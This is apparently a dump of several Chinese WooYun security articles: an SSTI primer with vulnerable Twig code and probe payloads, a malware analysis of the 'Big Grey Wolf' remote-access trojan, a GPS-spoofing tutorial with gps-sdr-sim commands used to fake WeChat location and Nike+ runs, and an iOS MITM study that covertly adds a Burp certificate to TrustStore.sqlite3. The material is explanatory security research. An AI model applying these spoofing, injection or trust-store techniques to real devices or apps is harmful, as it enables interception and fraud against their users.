https://www.fireeye.com/blog/threat-research/2015/11/ibackdoor_high-risk.html 126 | 127 | -------------------------------------------------------------------------------- /dropsWooyun2/markdownFile/服务端模板注入攻击 (SSTI) 之浅析.md: -------------------------------------------------------------------------------- 1 | # 服务端模板注入攻击 (SSTI) 之浅析 2 | 3 | [ RickGray](/author/RickGray) · 2015/11/05 11:50 4 | 5 | **Author: RickGray (知道创宇404安全实验室)** 6 | 7 | 在今年的黑帽大会上 [James Kettle](http://blog.portswigger.net/) 讲解了 [《Server-SideTemplate Injection: RCE for the modernwebapp》](https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf)，从服务端模板注入的形成到检测，再到验证和利用都进行了详细的介绍。本文在理解原文内容的基础上，结合更为具体的示例对服务端模板注入的原理和扫描检测方法做一个浅析。 8 | 9 | # 0x00 模板注入与常见Web注入 10 | 11 | * * * 12 | 13 | 就注入类型的漏洞来说，常见 Web 注入有：SQL 注入，XSS 注入，XPATH 注入，XML 注入，代码注入，命令注入等等。注入漏洞的实质是服务端接受了用户的输入，未过滤或过滤不严谨执行了拼接了用户输入的代码，因此造成了各类注入。下面这段代码足以说明这一点： 14 | 15 | 16 | 17 | #!php 18 | // SQL 注入 19 | $query = "select * from sometable where id=".$_GET['id']; 20 | mysql_query($query); 21 | 22 | ------------- 华丽的分割线 ------------- 23 | 24 | // 模版注入 25 | $temp->render("Hello ".$_GET['username']); 26 | 27 | 28 | 而服务端模板注入和常见Web注入的成因一样，也是服务端接收了用户的输入，将其作为 Web应用模板内容的一部分，在进行目标编译渲染的过程中，执行了用户插入的恶意内容，因而可能导致了敏感信息泄露、代码执行、GetShell等问题。其影响范围主要取决于模版引擎的复杂性。 29 | 30 | # 0x01 模板注入原理 31 | 32 | * * * 33 | 34 | 模板注入涉及的是服务端Web应用使用模板引擎渲染用户请求的过程，这里我们使用 PHP 模版引擎[Twig](http://twig.sensiolabs.org/) 作为例子来说明模板注入产生的原理。考虑下面这段代码： 35 | 36 | 37 | 38 | #!php 39 | render("Hello {{name}}", array("name" => $_GET["name"])); // 将用户输入作为模版变量的值 45 | echo $output; 46 | 47 | 48 | 使用 Twig 模版引擎渲染页面，其中模版含有 `{{name}}` 变量，其模版变量值来自于 GET 请求参数`$_GET["name"]`。显然这段代码并没有什么问题，即使你想通过 `name` 参数传递一段 JavaScript代码给服务端进行渲染，也许你会认为这里可以进行 XSS，但是由于模版引擎一般都默认对渲染的变量值进行编码和转义，所以并不会造成跨站脚本攻击： 49 | 50 | ![](http://static.wooyun.org//drops/20151105/201511050339503833612.png) 51 | 52 | 但是，如果渲染的模版内容受到用户的控制，情况就不一样了。修改代码为： 53 | 54 | 55 | 56 | #!php 57 | render("Hello {$_GET['name']}"); // 将用户输入作为模版内容的一部分 63 | echo $output; 64 | 65 | 66 | 上面这段代码在构建模版时，拼接了用户输入作为模板的内容，现在如果再向服务端直接传递 JavaScript 代码，用户输入会原样输出，测试结果显而易见： 67 | 68 | ![](http://static.wooyun.org//drops/20151105/201511050339549315922.png) 69 | 70 | 对比上面两种情况，简单的说服务端模板注入的形成终究还是因为服务端相信了用户的输出而造成的（Web安全真谛：永远不要相信用户的输入！）。当然了，第二种情况下，攻击者不仅仅能插入 JavaScript 脚本，还能针对模板框架进行进一步的攻击，此部分只说明原理，在后面会对攻击利用进行详细说明和演示。 71 | 72 | # 0x02 模板注入检测 73 | 74 | * * * 75 | 76 | 上面已经讲明了模板注入的形成原来，现在就来谈谈对其进行检测和扫描的方法。如果服务端将用户的输入作为了模板的一部分，那么在页面渲染时也必定会将用户输入的内容进行模版编译和解析最后输出。 77 | 78 | 借用本文第二部分所用到的代码： 79 | 80 | 81 | 82 | #!php 83 | render("Hello {$_GET['name']}"); // 将用户输入作为模版内容的一部分 89 | echo $output; 90 | 91 | 92 | 在 Twig 模板引擎里，`{{ var }}` 除了可以输出传递的变量以外，还能执行一些基本的表达式然后将其结果作为该模板变量的值，例如这里用户输入`name={{2*10}}`，则在服务端拼接的模版内容为： 93 | 94 | 95 | 96 | Hello {{2*10}} 97 | 98 | 99 | Twig 模板引擎在编译模板的过程中会计算 `{{2*10}}` 中的表达式 `2*10`，会将其返回值 `20` 作为模板变量的值输出，如下图： 100 | 101 | ![](http://static.wooyun.org//drops/20151105/201511050339564158232.png) 102 | 103 | 现在把测试的数据改变一下，插入一些正常字符和 Twig 模板引擎默认的注释符，构造 Payload 为： 104 | 105 | 106 | 107 | IsVuln{# comment #}{{2*8}}OK 108 | 109 | 110 | 实际服务端要进行编译的模板就被构造为： 111 | 112 | 113 | 114 | Hello IsVuln{# comment #}{{2*8}}OK 115 | 116 | 117 | 这里简单分析一下，由于 `{# comment #}` 作为 Twig 模板引擎的默认注释形式，所以在前端输出的时候并不会显示，而 `{{2*8}}`作为模板变量最终会返回 `16` 作为其值进行显示，因此前端最终会返回内容 `Hello IsVuln16OK`，如下图： 118 | 119 | ![](http://static.wooyun.org//drops/20151105/201511050339587657042.png) 120 | 121 | 通过上面两个简单的示例，就能得到 SSTI 扫描检测的大致流程（这里以 Twig 为例）： 122 | 123 | ![](http://static.wooyun.org//drops/20151105/201511050340004111752.png) 124 | 125 | 同常规的 SQL 注入检测，XSS 检测一样，模板注入漏洞的检测也是向传递的参数中承载特定 Payload并根据返回的内容来进行判断的。每一个模板引擎都有着自己的语法，Payload 的构造需要针对各类模板引擎制定其不同的扫描规则，就如同 SQL注入中有着不同的数据库类型一样。 126 | 127 | 简单来说，就是更改请求参数使之承载含有模板引擎语法的 Payload，通过页面渲染返回的内容检测承载的 Payload是否有得到编译解析，有解析则可以判定含有 Payload 对应模板引擎注入，否则不存在 SSTI。 128 | 129 | # 0x03 小结 130 | 131 | * * * 132 | 133 | 本文简单介绍服务端模版注入漏洞如常规 Web 注入漏洞之间的关系，分析了其产生的原理，并以 PHP 模板引擎 Twig 为例讲解了 SSTI常规的扫描和检测方法。虽然说 SSTI 并不广泛存在，但如果开发人员滥用模板引擎，进行不安全的编码，这样 Web 应用就可能出现SSTI，并且根据其模板引擎的复杂性和开发语言的特性，可能会造成非常严重的问题。 134 | 135 | 在后续的文章中会针对各语言流行的模板引擎做一个较为详细的研究和分析，给出对应的可利用点和方法。 136 | 137 | # 0x04 参考 138 | 139 | * * * 140 | 141 | * 142 | * [https://www.youtube.com/watch?time_continue=1342&v=BGsAguMPtFw](https://www.youtube.com/watch?time_continue=1342&v=BGsAguMPtFw) 143 | 144 | 原文出处： 145 | 146 | -------------------------------------------------------------------------------- /dropsWooyun2/markdownFile/“大灰狼”远控木马分析及幕后真凶调查.md: -------------------------------------------------------------------------------- 1 | # “大灰狼”远控木马分析及幕后真凶调查 2 | 3 | [ 360安全卫士](/author/360安全卫士) · 2015/11/08 14:04 4 | 5 | 9月初360安全团队披露[bt天堂网站挂马事件](http://www.hackdig.com/09/hack-26124.htm)，该网站被利用IE神洞CVE-2014-6332挂马，如果用户没有打补丁或开启安全软件防护，电脑会自动下载执行大灰狼远控木马程序。 6 | 7 | 鉴于bt天堂电影下载网站访问量巨大，此次挂马事件受害者甚众，360QVM引擎团队专门针对该木马进行严密监控，并对其幕后真凶进行了深入调查。 8 | 9 | # 0x00 “大灰狼”的伪装 10 | 11 | * * * 12 | 13 | 以下是10月30日一天内大灰狼远控的木马样本截图，可以看到该木马变种数量不少、伪装形态更是花样繁多。 14 | 15 | ![](http://static.wooyun.org//drops/20151106/20151106065301855021.jpeg) 16 | 17 | 大灰狼使用了不少知名软件图标，在此提醒网民在点击运行可疑来源的文件之前，最好查看属性通过数字签名判断文件真伪，而不要被文件名和图标迷惑： 18 | 19 | ![](http://static.wooyun.org//drops/20151106/2015110606530553632212.png) 20 | 21 | # 0x01 木马程序分析 22 | 23 | * * * 24 | 25 | 由于木马样本数量比较多，我们不一一列举，以下提供几例来说明： 26 | 27 | 本文用到的恶意代码md5: 28 | 29 | 30 | 31 | 0b1b9590ebde0aeddefadf2af8edf787 32 | 0ea5d0d826854cdbf955da3311ed6934 33 | 19c343f667a9b958f5c31c7112b2dd1b 34 | d16e6ef8f110196e3789cce1b3074663 35 | 36 | 37 | ## 1、动态调用系统函数，躲避杀毒查杀 38 | 39 | 大灰狼远控由于长期的被杀毒追杀，所以大量的使用动态调用系统api，来躲避查杀，所有的文件相关操作都采用了动态调用的方式。 40 | 41 | ![](http://static.wooyun.org//drops/20151106/20151106065308856623.jpeg) 42 | 43 | ![](http://static.wooyun.org//drops/20151106/20151106065311820514.jpeg) 44 | 45 | ![](http://static.wooyun.org//drops/20151106/20151106065312452215.jpeg) 46 | 47 | ![](http://static.wooyun.org//drops/20151106/20151106065314498496.jpeg) 48 | 49 | 几乎所有的样本都需要动态的解码才能获取到相关的函数调用。 50 | 51 | 在IDA里，我们可以看到木马使用的手段： 52 | 53 | ![](http://static.wooyun.org//drops/20151106/20151106065316429307.jpeg) 54 | 55 | ## 2、远程下载加密文件，并且本地解密 56 | 57 | ![](http://static.wooyun.org//drops/20151106/20151106065318759498.jpeg) 58 | 59 | 木马程序为了方便远程的文件更新，会把恶意代码放在远程的一个服务器中，而且会对这个文件进行加密，需要在本地解密，然后装载到内存中,在本地文件中无法得到解密后的文件，只有一个被加密的残留文件： 60 | 61 | ![](http://static.wooyun.org//drops/20151106/20151106065320206949.jpeg) 62 | 63 | 通过调用木马本身的解密程序，我们对这个木马的文件进行了解密，但是木马会把这个代码放在内存中，这是解密后抓取的相关文件，是一个可执行的文件： 64 | 65 | ![](http://static.wooyun.org//drops/20151106/201511060653218604810.jpeg) 66 | 67 | 为了方便伪装，木马文件使用了其他公司的版权信息： 68 | 69 | ![](http://static.wooyun.org//drops/20151106/201511060653234959611.jpeg) 70 | 71 | ## 3、大量增加无关函数调用,检测和对抗杀毒软件 72 | 73 | 为了增加分析的难度，内存中抓取的文件也是被加密的，这个文件是程序执行的主要部分，为此我们还要继续解密。 74 | 75 | ![](http://static.wooyun.org//drops/20151106/201511060653242368112.jpeg) 76 | 77 | 经过继续的解密和分析，最终的解密文件的内部函数调用是这样的： 78 | 79 | ![](http://static.wooyun.org//drops/20151106/201511060653268327013.jpeg) 80 | 81 | 也有的是这样的： 82 | 83 | ![](http://static.wooyun.org//drops/20151106/201511060653286230214.jpeg) 84 | 85 | 这些调用显然与普通程序不同，这是一种通过大量增加类似sleep和Rectangle等跟木马功能完全无关的api调用，来实现干扰杀毒查杀的手段。 86 | 87 | 同时还会木马程序还会遍历检测各个杀毒软件。 88 | 89 | ![](http://static.wooyun.org//drops/20151106/201511060653307740915.jpeg) 90 | 91 | 为了躲避杀软的追杀，还采用了域名、网盘空间上线等上线方式： 92 | 93 | ![](http://static.wooyun.org//drops/20151106/201511060653327233016.jpeg) 94 | 95 | 通过以上的木马样本分析，我们可以看到，大灰狼远控具有比较丰富的免杀和对抗经验，那么木马作者究竟是什么人呢？接下来，我们需要按图索骥去追查这个木马的来源和幕后情况。 96 | 97 | # 0x02 真凶调查 98 | 99 | * * * 100 | 101 | 在处理数百个样本的过程中，我们逐步锁定了一个很关键的域名，这个域名在上文中相信大家也看到了：ckshare.com。 102 | 103 | 通过域名查询我们定位到了牧马人： 104 | 105 | ![](http://static.wooyun.org//drops/20151106/201511060653334724617.jpeg) 106 | 107 | 通过搜索引擎还发现了非常关键的信息：一个专门销售大灰狼木马的网站： 108 | 109 | ![](http://static.wooyun.org//drops/20151106/201511060653353615818.jpeg) 110 | 111 | 我们按照帖子的提示找到了该网站： 112 | 113 | ![](http://static.wooyun.org//drops/20151106/201511060653379187519.jpeg) 114 | 115 | 这个网站的客服居然就是域名的所有者，显然这个qq就是牧马人了。 116 | 117 | ![](http://static.wooyun.org//drops/20151106/201511060653385776020.jpeg) 118 | 119 | 我们发现该网站貌似正规，居然还有网站的备案信息： 120 | 121 | ![](http://static.wooyun.org//drops/20151106/201511060653415156321.jpeg) 122 | 123 | 通过获取的备案域名查询工信部网站的相关资料： 124 | 125 | ![](http://static.wooyun.org//drops/20151106/201511060653428302122.jpeg) 126 | 127 | ![](http://static.wooyun.org//drops/20151106/201511060653444123423.jpeg) 128 | 129 | 显然这个域名和备案信息是不一致的。那么这个备案信息对应的究竟是哪个域名呢？ 130 | 131 | ![](http://static.wooyun.org//drops/20151106/201511060653468786924.jpeg) 132 | 133 | ![](http://static.wooyun.org//drops/20151106/201511060653473037925.jpeg) 134 | 135 | 可以看到备案信息就是木马的下载地址。同时下面还有一堆的域名，显然是牧马人留作备用的，同时我们获取了牧马人姓名等重要信息。 136 | 137 | 继续查询这个域名的解析ip是在广东省，然而域名相关的地址是河南，显然牧马人可能会有其他马甲，继续追查。 138 | 139 | ![](http://static.wooyun.org//drops/20151106/201511060653498314326.jpeg) 140 | 141 | 由于大灰狼远控网站提供的联系信息，我们进一步追查终于定位到了牧马人的重要信息，并假装买主与之联系： 142 | 143 | ![](http://static.wooyun.org//drops/20151106/2015110606535057997271.png) 144 | 145 | 在追查的过程中，我们最终掌握了该网站的大灰狼远控销售状况： 146 | 147 | ![](http://static.wooyun.org//drops/20151106/2015110606535272734281.png) 148 | 149 | 由于牧马人采用不同的等级销售方式，我们有理由确认这是一个资深的黑产“从业者”： 150 | 151 | ![](http://static.wooyun.org//drops/20151106/2015110606535483498291.png) 152 | 153 | ![](http://static.wooyun.org//drops/20151106/2015110606535538122301.png) 154 | 155 | 由于该牧马人有所戒备，难以通过qq聊天套出更多信息。不过从他炫耀的后台管理来看，与我们监控的木马传播状况是大体一致的，由此也佐证了这位木马贩子就是大灰狼远控的幕后黑手。 156 | 157 | # 0x03 安全提醒 158 | 159 | * * * 160 | 161 | 通过此次调查，360QVM团队逐步掌握了大灰狼远控的主要来源，这个远控木马在bt天堂挂马事件中非常猖獗，甚至把政府网站作为木马的下载地址，长期、持续地威胁着网民的财产和信息安全。 162 | 163 | 防范大灰狼一类远控木马的几个小建议： 164 | 165 | 1. 及时打补丁。 166 | 167 | 2. XP用户一定要开启安全软件防护。 168 | 169 | 3. 运行未知程序之前检查文件是否有正规的数字签名。 170 | 171 | -------------------------------------------------------------------------------- /dropsWooyun2/markdownFile/狗汪汪玩转无线电 -- GPS Hacking (上）.md: -------------------------------------------------------------------------------- 1 | # 狗汪汪玩转无线电 -- GPS Hacking (上） 2 | 3 | [ Kevin2600](/author/Kevin2600) · 2015/12/09 10:12 4 | 5 | # 0x00 序 6 | 7 | * * * 8 | 9 | GPS Hacking 在过去几年的安全会议上一直都是很受关注的议题. 但往往因为内容太过学术化, 所需设备成本太高. 让许多感兴趣的朋友苦于无法入门.直到GPS-SDR-SIM 这类开源项目的出现, 跟王康大牛在今年Blackhat Europe 2015 上的主题演讲. 彻底打开了GPS 的神秘面纱.让小伙伴可以真正过一把GPS Hacking 的瘾. 10 | 11 | 想必大家对于研究GPS的神器, 软件无线电SDR都略有所闻. 但早期设备USRP价格昂贵. 直到大家发现了神奇的电视棒 RTL-SDR.前阵子似乎人人都喜欢用它来看大"灰机". 不过因为硬件上的限制，电视棒只能用来收取数据. 而 HackRF 跟 BladeRF 因其支持收发数据,而价格又比USRP 便宜许多. 便成了当下热衷玩无线的朋友们的首选. 当然HackRF 跟 BladeRF之间也在所支持的频率, 采样率上有所不同.最重要的一点BladeRF是全双工哦. 以下是几款SDR 设备之间的对比图, 大家可以根据具体需要选购. 12 | 13 | ![p1](http://static.wooyun.org//drops/20151208/2015120812432876209126.png) 14 | 15 | **GPS系统简介** 16 | 17 | GPS 系统本身非常复杂, 涉及到卫星通信等各个领域. 这里只是简单介绍一下. 我们通常所说的 GPS 全球定位系统是由美国国防部建造完成.目前在太空中共有31颗卫星在同时运作. 一般我们需要至少4颗卫星来完成三角定位. GPS卫星同时发送民用L1和军用L2两种无线信号.我们通常使用的是没有加密的L1民用 1575.42MHz 的超高频波段. 18 | 19 | GPS 信号里包含了3种常用信息. 20 | 21 | Pseudorandom code: 简单的ID 码, 用来识别每颗卫星. 22 | 23 | Ephemeris data: 包含卫星的运行状态, 时间日期等信息. 这在通过卫星来定位起到非常重要的作用. 24 | 25 | Almanac data: 包含有每颗卫星的轨道信息，以及卫星在某个特定时段将出现的具体位置. 26 | 27 | ![p2](http://static.wooyun.org//drops/20151208/201512081243354092821.jpg) 28 | 29 | # 0x01 BladeRF GPS 信号伪造步骤 30 | 31 | * * * 32 | 33 | **1.1 在Ubuntu 14.04.3 中安装 BladeRF 工具** 34 | 35 | ![p3](http://static.wooyun.org//drops/20151208/201512081243385861939.png) 36 | 37 | 安装 header 文件 38 | 39 | ![p4](http://static.wooyun.org//drops/20151208/201512081243415891349.png) 40 | 41 | 安装 BladeRF 固件 & FPGA 镜像 42 | 43 | ![p5](http://static.wooyun.org//drops/20151208/201512081243427563859.png) 44 | 45 | 完成后可在`/usr/share/nuand/BladeRF/`下找到`hostedX40.rbf`跟`bladerf_fw.img`文件.这时便可将BladeRF插入USB接口.通常系统会自动载入FPGA 镜像.也可以通过命令行`bladerf_cli -l/路径/hostedX40.rbf`手动载入. 在成功载入后，BladeRF主板上的3 个LED 小灯便会亮起,同时我们可以加`-p`参数来进一步验证系统安装成功. 46 | 47 | ![p6](http://static.wooyun.org//drops/20151208/201512081243449340369.png) 48 | 49 | **1.2 GPS-SDR-SIM 安装** 50 | 51 | 52 | #!bash 53 | git clone https://github.com/osqzss/gps-sdr-sim.git 54 | cd gps-sdr-sim 55 | gcc gpssim.c -lm -O3 -o gps-sdr-sim 56 | 57 | 58 | 设置经纬度并生成数据样本. 注意这里 I/Q基带信号数据为16. 59 | 60 | ![p7](http://static.wooyun.org//drops/20151208/201512081243454976879.png) 61 | 62 | 随后 gps-sdr-sim 会自动生成带有经纬度信息的数据文件. 我们便可以通过 bladerf_cli 来发送伪造的GPS 数据. 63 | 64 | ![p8](http://static.wooyun.org//drops/20151208/201512081243465709689.png) 65 | 66 | **1.3 GPS-SDR-SIM 运行时间问题** 67 | 68 | 在实际测试过程中汪汪发现, 默认情况下GPS模拟器只能连续工作5分钟左右. 通过查看源代码后, 我们可以发现这是因为程序默认设置导致.在程序设计之初为了节省硬盘空间, 默认只生成了300秒左右的数据. 我们可以通过改动参数来延長工作時間.但需要注意的是仅仅延長到15分鐘，數據便可達到5G大小. 69 | 70 | ![p9](http://static.wooyun.org//drops/20151208/201512081243485895197.png) 71 | 72 | # 0x02 GPS信号伪造实战 73 | 74 | * * * 75 | 76 | 汪汪在这里跟分享几个实际的测试案例. 感兴趣的朋友也可以自行测试下. 77 | 78 | **2.1 微信周边妹子** 79 | 80 | 听说许多程序猿因为平时工作紧张, 性格腼腆. 很难有机会跟心中的女神接触. 而微信中”附近的人”则解决了此类问题. 大家只要坐在家中打开GPS定位,便可跟周边的心仪女神 Say Hello 啦. 但美中不足的是范围仅限几十公里内. 那么对某些胸怀天下, 万花丛中过,片叶不沾身的大神来说未免太有局限性了. 这里汪汪给大家带来第一个GPS 信号伪造案例 -- 微信”附近”妹子. 81 | 82 | 听说前阵子在海南三亚有个美女扎堆的活动, 汪汪很是好奇都是啥样的美女呢..让我们来查下附近的人吧.哦..在没发送伪造的GPS坐标前,只能找到汪汪所在城市的妹子. 83 | 84 | ![p10](http://static.wooyun.org//drops/20151208/2015120812435533129107.png) 85 | 86 | ![p11](http://static.wooyun.org//drops/20151208/2015120812440524586111.jpg) 87 | 88 | 在开始发送伪造的GPS坐标5分钟后, 汪汪终于如愿以偿找到了三亚附近妹子 :) 89 | 90 | 哈哈..汪汪必须感叹下..真的是技术宅改变命运啊... 91 | 92 | ![p12](http://static.wooyun.org//drops/20151208/2015120812441331668121.jpg) 93 | 94 | **2.2 Nike+ 计步数伪造** 95 | 96 | 很多喜欢研究移动安全的朋友一定看过蒸米发过的一篇文章 "利用AndroidHook进行微信运动作弊".（感兴趣的朋友可以移步观看).文中他提到了通过利用Android Hook进行计步作弊, 跟朋友圈里的好友PK运动量. 但该方法需要手机root后，安装相关作弊插件来实现.对于其他计步类软件，还需要对插件进行相关改动. 这里测试目标为 Nike+ Running. 先来看段视频. 因为完成全部攻击效果需要一定时间,所以本视频做了加速处理. 97 | 98 | ![p13](http://static.wooyun.org//drops/20151208/2015120812442291438131.jpg) 99 | 100 | 101 | 102 | 通过GPS-SDR-SIM的主页, 我们可以得知伪造的的GPS经纬度数据可以是静态, 也可以是动态模式的. 为了成功模拟出运动轨迹,我们需要伪造动态模式的GPS经纬度数据. 可以通过以下参数来完成. 103 | 104 | 105 | 106 | #!bash 107 | gps-sdr-sim -e brdc3540.14n -u circle.csv -b 16 108 | 109 | 110 | 大家可以看到通过直接对GPS信号进行伪造, 成功欺骗了Nike+ 这类计步器APP. 即使在被窝里躺着,也可以跑第一哦.当然汪汪还是希望大家可以真的跑起来, 享受运动的快乐. 111 | 112 | **2.3 伪造信号范围测试** 113 | 114 | 从前面几个实验可以知道, 通过软件模拟信号, GPS接收设备在短距离内的效果是非常明显的.那么在较大范围内GPS接收设备的效果如何呢？实际的有效距离又是多远呢？当然这跟设备的输出功率, 天线增益, 以及附近其他信号干扰程度有关.所以这里汪汪只是做个简单的室内测试. 大家还是要以实际情况为准. 请先看这段测试视频. 115 | 116 | 117 | 118 | 从视频可以看到在这个直线距离大概为25米, 中间无任何障碍物的走廊里成功改变了GPS 接收设备的经纬度. 通常真实的GPS信号从2万千米的高空下到地面已经非常微弱, 因此在室内几乎检测不到信号. 所以在室内GPS 信号伪造攻击的效果是很明显的. 119 | 120 | ![p14](http://static.wooyun.org//drops/20151208/2015120812442518374141.jpg) 121 | 122 | # 0x03 总结 123 | 124 | * * * 125 | 126 | 通过以上几个案例, 相信大家对GPS 信号伪造有了一定程度的了解. 但就GPS系统本身而言, 这是一个非常好玩又很深的领域. 市面上的GPS相关产品也总类繁多, 每款产品对GPS 欺骗攻击的反应也各不相同. 大家可以发挥下想象力玩出新花样. 127 | 128 | 最后要感谢 osqzss; 王康和无数 GNURadio 爱好者们的无私分享. 正因为有了他们，我们才可以更好的体验软件无线电的无穷魅力. 推荐大家围观GPS-SDR-SIM 的项目主页和王康在黑帽大会上的演讲稿. 拥有HackRF设备的朋友也可以看看lxj616写的“劫持GPS定位&劫持WIFI定位”. 129 | 130 | # 0x04 参考文献 131 | 132 | * 133 | * 134 | * 135 | * “Time and Position Spoofing with Open Source Projects” Kang Wang 136 | * 137 | 138 | -------------------------------------------------------------------------------- /dropsWooyun2/markdownFile/iOS环境下的中间人攻击风险浅析.md: -------------------------------------------------------------------------------- 1 | # iOS环境下的中间人攻击风险浅析 2 | 3 | [ 阿里移动安全](/author/阿里移动安全) · 2015/10/23 11:01 4 | 5 | **作者：轩夏** 6 | 7 | # 0x00概述 8 | 9 | * * * 10 | 11 | 中间人攻击（Man-in-the-Middle Attack，简称“MITM攻击”）是一种“间接”的入侵攻击，这种攻击模式是通过各种技术手段将受入侵者控制的一台计算机虚拟放置在网络连接中的两台通信计算机之间，这台计算机就称为“中间人”。通过中间人攻击可以窃取信息、进行篡改、欺骗等多种攻击。 12 | 13 | 对于Android平台上的中间人攻击已经讨论的比较多，今天来聊聊iOS平台上的中间人攻击，以及iOS的可信证书管理。 14 | 15 | # 0x01中间人攻击 16 | 17 | * * * 18 | 19 | 在未做特殊说明的情况下，本文所有实验环境为： 20 | 21 | iPhone 5 + iOS 8.1.2 + 已越狱。 22 | 23 | ## 1.1. 中间人攻击分级 24 | 25 | iOS平台上根据中间人攻击的难度，可以将中间人攻击分为3个等级： 26 | 27 | 1) level1:在没用向手机中安装攻击者证书的情况下可以进行中间人攻击 28 | 29 | 2) level2:在向手机中安装攻击者证书的情况下可以进行中间人攻击 30 | 31 | 3) level3:在向手机中安装攻击者证书的情况下也不可以进行中间人攻击 32 | 33 | 对于这三种情况，我们以一个例子分别对这三种情况进行说明。借用Owasp关于iOShttps中间人演示的例子，稍做修改。正常情况下，程序启动时如图1，点击“Fetch Secret”程序请求server端数据并显示，如图2。 34 | 35 | ![](http://static.wooyun.org//drops/20151022/20151022054801124411101.png) 36 | 37 | 图 1 启动界面 38 | 39 | ![](http://static.wooyun.org//drops/20151022/2015102205481440039248.png) 40 | 41 | 图 2 正常获取数据 42 | 43 | ### 1.1.1. 不导入证书可中间人 44 | 45 | 在此次连接的NSURLConnection对象的delegate类中只实现一个`connection:didReceiveAuthenticationChallenge:`方法，如图3。 46 | 47 | ![](http://static.wooyun.org//drops/20151022/2015102205481641337328.png) 48 | 49 | 图 3 连接校验方法 50 | 51 | 设置burp suite，开启代理，如图4。 52 | 53 | ![](http://static.wooyun.org//drops/20151022/2015102205481878394422.png) 54 | 55 | 图 4 burp suite设置 56 | 57 | 手机设置代理为burp suite运行pc的地址，如图5。 58 | 59 | ![](http://static.wooyun.org//drops/20151022/2015102205482058420518.png) 60 | 61 | 图 5 手机代理设置 62 | 63 | 运行程序，点击“Fetch Secret”，程序正常获取到了与图2相同的数据，burp suite也截获了所有信息，如图6，中间人攻击成功。 64 | 65 | ![](http://static.wooyun.org//drops/20151022/2015102205482242334617.png) 66 | 67 | 图 6 burp suite截获数据 68 | 69 | ### 1.1.2. 导入证书可中间人 70 | 71 | 修改程序，在NSURLConnection对象的delegate类中实现`connection:willSendRequestForAuthenticationChallenge:`方法，如图7。 72 | 73 | ![](http://static.wooyun.org//drops/20151022/2015102205482534161719.png) 74 | 75 | 图 7 连接校验方法 76 | 77 | 其他设置与1.1.1小节完全相同，程序发现连接异常，终止获取数据，如图8，burp suite也理所当然获取数据失败。 78 | 79 | ![](http://static.wooyun.org//drops/20151022/2015102205482949814821.png) 80 | 81 | 图 8 获取数据失败 82 | 83 | 此时，向手机中安装burp suite证书，如图9。 84 | 85 | ![](http://static.wooyun.org//drops/20151022/2015102205483054641918.png) 86 | 87 | 图 9 安装burp证书 88 | 89 | 重新打开应用，点击“Fetch Secret”，应用正常获取数据，burp suite也截获了全部数据，中间人攻击成功。 90 | 91 | ### 1.1.3. 导入证书不可中间人 92 | 93 | 继续对程序进行修改，将公钥证书放入应用中，并修改`connection:didReceiveAuthenticationChallenge:`方法在连接过程中获取证书信息，对server端证书进行强校验，如图10。同时，注释掉`connection:willSendRequestForAuthenticationChallenge:`方法，因为如图实现了这个方法，方法`connection:didReceiveAuthenticationChallenge:`将不会被调用。 94 | 95 | ![](http://static.wooyun.org//drops/20151022/20151022054837656471016.png) 96 | 97 | 图 10 连接校验方法 98 | 99 | 其他设置不变，手机中依然安装有burp suite证书，打开应用，点击“Fetch Secret”，应用无法正常获取数据，如图11，burpsuite也不能截获数据，中间人攻击失败。 100 | 101 | ![](http://static.wooyun.org//drops/20151022/201510220548413155011_1.png) 102 | 103 | ![](http://static.wooyun.org//drops/20151022/201510220548433512211_2.png) 图 11证书错误 104 | 105 | ### 1.2.4一些建议 106 | 107 | 一般来说，建议应用信任手机中的所有证书即可，在应用中置入公钥证书对连接进行强校验确实最为安全，但会引发诸多问题，如证书更新、证书过期、证书作废等。 108 | 109 | 如果需要更新客户端证书，都必须升级客户端版本，而升级客户端是一个较为漫长的过程。 例如证书被黑客窃取，需要紧急作废证书，而许多用户却有没有及时升级客户端的习惯，这将可能导致大面积用户使用出现网络异常的情况。就目前来看，也确实很少看到有应用将安全级别做到level3。 110 | 111 | # 0x02可信证书管理 112 | 113 | * * * 114 | 115 | 上一章节中谈到向手机中导入可信证书的问题，小生在编写一个iOS工具的时候无意发现iOS证书管理的一个有趣的地方。通过“Settings”->“General”->“Profiles”可以查看当前设备信任的证书列表，但这个列表就真的是设备信任的证书列表吗？ 116 | 117 | ## 2.1奇葩的中间人攻击情形 118 | 119 | 按照上一章节建议，将应用防中间人级别设置为level2，即应用信任当前设备上的所有证书，如果要使用burpsuite对该应用进行中间人攻击，需要向设备中安装burp的证书，而目前设备上的信任证书如图12所示，设备上只有一个用于连接公司内网的员工证书。 120 | 121 | ![](http://static.wooyun.org//drops/20151023/201510230514594248212ed.png) 122 | 123 | 图 12 证书列表 124 | 125 | 在这样的情况下，burp suite应该不能获取到应用的通信内容，而结果如何了。为了排除结果受到iOS系统在https通信时的10分钟缓存机制，先对设备进行重启或静置10分钟；启动应用进行通信，发现应用正常获取到了与图2所示相同的数据，而burp suite也成功截获了与图6所示相同的通信内容。这是什么鬼…… 126 | 127 | ## 2.2 TrustStore.sqlite3 128 | 129 | iOS系统下有一个有一个sqlite3文件，其绝对路径为： 130 | 131 | `“/private/var/Keychains/TrustStore.sqlite3”` 132 | 133 | 该文件中存储的才是当前设备真正信任的证书列表，而通过“Settings”->“General”->“Profiles”查看到的证书列表与该文件中存储的证书列表可以不同步，如果我们手动对该sqlite3文件进行更改，就能让手机实际的可信证书列表与在“Profiles”中看到的完全不一样。小生写了一个工具，对该sqlite3文件进行管理，查看该文件中的存储，如图13。 134 | 135 | ![](http://static.wooyun.org//drops/20151023/201510230515013187013ed.png) 136 | 137 | 图 13 证书列表 138 | 139 | 其中，ID为0的证书是图12中看到的用于连接公司内网的员工证书；ID为1的证书为burpsuite证书，而这张证书没有在“Profiles”中显示。这就是导致能中间人的原因。 140 | 141 | 我们删除掉该sqlite3文件中的ID为1的证书，如图14，并对设备进行重启或静置10分钟，再进行2.1章节中的实验。 142 | 143 | ![](http://static.wooyun.org//drops/20151023/201510230515059846214ed1.png) 144 | 145 | 图 14 删除burp证书 146 | 147 | 打开应用，点击“Fetch Secret”，应用报错，如图15。 148 | 149 | ![](http://static.wooyun.org//drops/20151022/20151022054853618541514.png) 150 | 151 | 图 15 证书错误 152 | 153 | 如果重新将burp suite证书手动插入TrustStore.sqlite3文件中，如图16，并对设备进行重启或静置10分钟，再进行2.1章节中的实验，发现中间人攻击成功。而本文中对TrustStore.sqlite3文件的所有手动操作，都不会影响到“Profiles”中的任何显示，“Profiles”始终只显示一张员工证书。 154 | 155 | 